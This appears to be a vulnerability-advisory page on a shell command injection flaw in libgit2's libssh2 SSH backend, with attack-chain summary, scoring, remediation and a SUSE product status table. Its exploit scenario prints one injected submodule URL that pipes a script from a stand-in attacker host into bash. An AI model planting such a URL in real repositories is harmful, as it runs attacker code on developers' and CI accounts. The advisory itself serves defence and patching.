Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker publishes malicious repository
-
DeliveryCraft .gitmodules with injected SSH submodule URL
-
ExploitVictim runs recursive clone via libgit2/libssh2
-
Executiongen_proto() builds unescaped shell command
-
PersistSSH server interprets injected metacharacters
-
ImpactExecute arbitrary commands under victim's SSH account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires four concurrent conditions: (1) the libgit2 library must be compiled with the libssh2 SSH backend (USE_SSH=libssh2)-builds using other transports are not affected; (2) the victim must perform a recursive clone operation (git clone --recurse-submodules or equivalent programmatic API call) that processes a .gitmodules file; (3) the .gitmodules file must reference a submodule via an SSH URL with an attacker-controlled path containing shell metacharacters; (4) the victim's libgit2 client must successfully establish an SSH connection to the submodule host, meaning the victim's SSH credentials must be accepted by the remote server. Exploitation is limited by the UI:A requirement-fully automated exploitation without victim action is not possible. Non-recursive clone operations, HTTPS-only submodule URLs, and builds without the libssh2 backend are unaffected. |
| Impact | CVSS 4.0 rates this 8.6 with AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H, reflecting a high-severity network-exploitable flaw requiring only user interaction (the victim performing a recursive clone). EPSS stands at 0.86% (55th percentile)-low absolute probability of exploitation despite the moderate percentile rank, consistent with SSVC's 'Exploitation: none' status. SSVC also labels it 'Automatable: no,' aligning with the required user interaction (UI:A). The total technical impact rating from SSVC matches the CVSS high-severity triad but the non-automatable designation limits mass exploitation potential. The key risk limiter is deployment context: exploitation requires the victim to recursively clone an attacker-controlled repository using a libgit2-based client built specifically with the libssh2 backend. Developers and CI/CD systems that clone untrusted repositories-common in open-source tooling and build automation-face meaningfully higher exposure than end-user Git clients. |
| Exploit ScenarioDerived | An attacker publishes a repository containing a crafted .gitmodules file with a submodule SSH URL such as ssh://attacker.example.com/repo';curl attacker.example.com/shell.sh|bash;'. When a developer or CI/CD pipeline runs a recursive clone of this repository using a libgit2-based client built with the libssh2 backend, libgit2 constructs a shell command embedding the unescaped path and dispatches it to the SSH server via libssh2_channel_exec(). The remote SSH server's shell interprets the injected tokens, executing the attacker's payload under the victim's SSH user account on that server. No public exploit code has been identified at time of analysis, but the attack technique is straightforward given the description's specificity. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 26, 2026
Shell command injection in libgit2's SSH libssh2 backend (v0.27.0-v1.9.0) enables remote attackers to execute arbitrary commands on an SSH server by embedding unescaped shell metacharacters in a submodule URL. An attacker who controls a repository's .gitmodules file can induce arbitrary SSH server-side code execution under the victim's SSH user account when the victim performs a recursive clone using a libgit2-based client built with the libssh2 backend. No public exploit has been identified at time of analysis and SSVC assessment records no active exploitation, but CVSS 4.0 scores this 8.6 and technical impact is rated total.
Earlier versions of this analysis (1)
Shell command injection in libgit2 versions 0.27.0 through 1.9.0, when compiled against the libssh2 SSH backend (USE_SSH=libssh2), lets a remote attacker run arbitrary commands on an SSH server under the victim's account by embedding shell metacharacters in a repository path. A malicious .gitmodules submodule URL processed during a recursive clone reaches libssh2_channel_exec() unescaped, turning a routine clone into remote command execution. No public exploit identified at time of analysis and it is not listed in CISA KEV, but the CVSS 4.0 score of 9.4 and trivial exploitation complexity make it a serious client-side supply-chain risk.
RemediationAI
Upgrade to a patched release of libgit2 beyond v1.9.0; the vendor has confirmed a patch is available per the GitHub Security Advisory at https://github.com/libgit2/libgit2/security/advisories/GHSA-xqj4-2j5v-rr75, though no specific fixed version number is confirmed in the available intelligence-verify the exact patched release tag against the upstream repository at https://github.com/libgit2/libgit2. If an immediate upgrade is not feasible, recompile libgit2 without the libssh2 backend (omit USE_SSH=libssh2 or select an alternative SSH transport) to eliminate the vulnerable code path entirely; this may remove SSH functionality if no other backend is substituted. As an additional control, restrict recursive clone operations to trusted repositories in CI/CD pipelines, enforcing allowlists of permitted submodule hosts and blocking execution on repositories with untrusted .gitmodules files. Do not perform git clone --recurse-submodules against untrusted or third-party repositories using affected libgit2 builds until patched.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
libgit2 is a portable C implementation of the Git core library used by many Git clients and hosting platforms. The vulnerability is rooted in CWE-78 (OS Command Injection): the gen_proto() function in ssh_libssh2.c constructs a shell command by concatenating the repository path directly into a string (e.g., git-upload-pack '/path/to/repo'), which is then dispatched via libssh2_channel_exec(). When the repository path contains shell metacharacters-single quotes, semicolons, pipes-the remote SSH server's shell interprets the injected tokens as additional commands rather than path components. The vulnerability is specific to builds compiled with USE_SSH=libssh2; builds using other SSH backends (e.g., OpenSSH exec transport) are not affected. Affected CPE range covers libgit2 0.27.0 through 1.9.0 per EUVD-2026-57011.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable via SSH, no attacker privileges needed, but user must initiate recursive clone; scope changes because injection impacts remote SSH server beyond the vulnerable libgit2 process.
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
Lifecycle Timeline
4DescriptionCVE.org
libgit2 versions v0.27.0 through v1.9.0 built with the libssh2 SSH backend (USE_SSH=libssh2) contain a shell command injection vulnerability that allows remote attackers to execute arbitrary commands on an SSH server by supplying a repository path containing unescaped shell metacharacters such as single quotes, semicolons, or pipes. The gen_proto() function in ssh_libssh2.c inserts the repository path directly into a shell command string without escaping special characters before passing it to libssh2_channel_exec(), enabling an attacker to craft a malicious submodule URL in a .gitmodules file that, when processed during a recursive clone, causes the remote server's shell to interpret injected commands under the victim's SSH user account.
Executive ViewAI
libgit2 versions 0.27.0-1.9.0 contain a shell command injection vulnerability enabling arbitrary code execution when developers clone repositories with malicious .gitmodules files. This affects organizations using libgit2-based Git tools, putting developer accounts at risk of compromise when cloning untrusted repositories. With no public exploit identified at time of analysis, a vendor patch is available and should be deployed urgently.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Manager Proxy 4.3 | Affected |
| SUSE Manager Retail Branch Server 4.3 | Affected |
| SUSE Manager Server 4.3 | Affected |
| SUSE Manager Server LTS 4.3 | Affected |
| SUSE Manager Server Module 4.3 | Affected |
| SUSE CaaS Platform 4.0 | Affected |
| SUSE Enterprise Storage 6 | Affected |
| SUSE Enterprise Storage 7 | Affected |
| SUSE Enterprise Storage 7.1 | Affected |
| SUSE Linux Enterprise Desktop 15 | Affected |
| SUSE Linux Enterprise Desktop 15 SP1 | Affected |
| SUSE Linux Enterprise Desktop 15 SP2 | Affected |
| SUSE Linux Enterprise Desktop 15 SP3 | Affected |
| SUSE Linux Enterprise Desktop 15 SP4 | Affected |
| SUSE Linux Enterprise Desktop 15 SP5 | Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Affected |
| SUSE Linux Enterprise High Performance Computing 15-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15-LTSS | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP1 | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Affected |
| SUSE Linux Enterprise Real Time 15 SP2 | Affected |
| SUSE Linux Enterprise Real Time 15 SP3 | Affected |
| SUSE Linux Enterprise Real Time 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 | Affected |
| SUSE Linux Enterprise Server 15 SP1 | Affected |
| SUSE Linux Enterprise Server 15 SP1-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP2 | Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP3 | Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise Server 15-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Affected |
| SUSE Manager Proxy 4.0 | Affected |
| SUSE Manager Proxy 4.1 | Affected |
| SUSE Manager Proxy 4.2 | Affected |
| SUSE Manager Retail Branch Server 4.0 | Affected |
| SUSE Manager Retail Branch Server 4.1 | Affected |
| SUSE Manager Retail Branch Server 4.2 | Affected |
| SUSE Manager Server 4.0 | Affected |
| SUSE Manager Server 4.1 | Affected |
| SUSE Manager Server 4.2 | Affected |
| SUSE Manager Server Module 4.0 | Affected |
| SUSE Manager Server Module 4.1 | Affected |
| SUSE Manager Server Module 4.2 | Affected |
| openSUSE Leap 15.3 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-57011
GHSA-3gwr-xcwq-7892
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB